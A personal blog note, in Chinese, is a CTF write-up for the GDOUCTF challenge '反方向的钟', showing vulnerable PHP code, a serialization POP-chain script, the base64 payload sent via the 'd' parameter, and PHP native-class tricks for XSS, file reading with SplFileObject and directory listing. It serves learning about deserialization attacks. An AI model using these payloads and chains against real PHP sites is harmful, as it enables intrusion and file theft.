note-18

GDOUCTF_反方向的钟

开篇源码,但是看不懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

看大佬wp
https://blog.csdn.net/weixin_73668856/article/details/134878471

先看看利用点:

应该是$_POST‘a’;

尝试构造链子school::IPO() -> school::__wakeup ->classroom::hahaha->teacher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name='ing';
public $rank='department';
}

class classroom{
public $name='one class';
public $leader;
}

class school{
public $department;
public $headmaster='ong';
}
$a=new school();
$b=new classroom();
$c=new teacher();
$a->department=$b;
$b->leader=$c;
echo base64_encode(serialize($a));
?>

结果:
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

不知道为啥我在原码后面直接构造死活输出不了

又试了一次,学到对了一种新的构造语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakea(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}


$a=new school(new classroom('one class',new teacher('ing','department')),'ong');

// $a=new school();
// $b=new classroom();
// $c=new teacher();
// $a->department=$b;
// $b->leader=$c;
echo base64_encode(serialize($a));
?>

用得到的payload传get的’d’

1
?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

此时由于

1
2
3
4
5
6
7
8
9
10
11
12
13
 public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}

//会唤醒
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}

此时传入的post a和b就会拼接进

1
echo new $_POST['a']($_POST['b']);

试了一下上次的file_get_contents,不行,试想了下,直接拼进去会得到

1
2
3
echo new $_POST['file_get_contents']($_POST['b']);
//而上次的是
echo file_get_contents("php://filter/convert.base64-encode/resource=index.php");

这个这个new可能要意味着是类(class)的表达;
看wp
要用hp的内置类SplFileObject来读取文件内容;

原生类

php原生类,应该指的是php内置有,不用定义的类

Error/Exception XSS

1
2
3
4
5
<?php

$a = serialize(new Exception("<script>alert(1)</script>"));

echo $a;

SplFileObject 读文件

1
2
3
4
5
<?php

$a = new SplFileObject("flag.txt");

echo $a;

DirectoryIterator 遍历目录

1
2
3
4
5
6
7
8
9
<?php

$a = new DirectoryIterator(".");

foreach ($a as $b) {

echo $b->getFilename() . "\n";

}

FilesystemIterator 遍历目录

1
2
3
4
5
6
7
8
9
<?php

$a = new FilesystemIterator(".");

foreach ($a as $b) {

echo $b->getFilename() . "\n";

}

note-18
https://aidemofashi.github.io/2025/03/26/note-18/
作者
aidemofashi
发布于
2025年3月26日
许可协议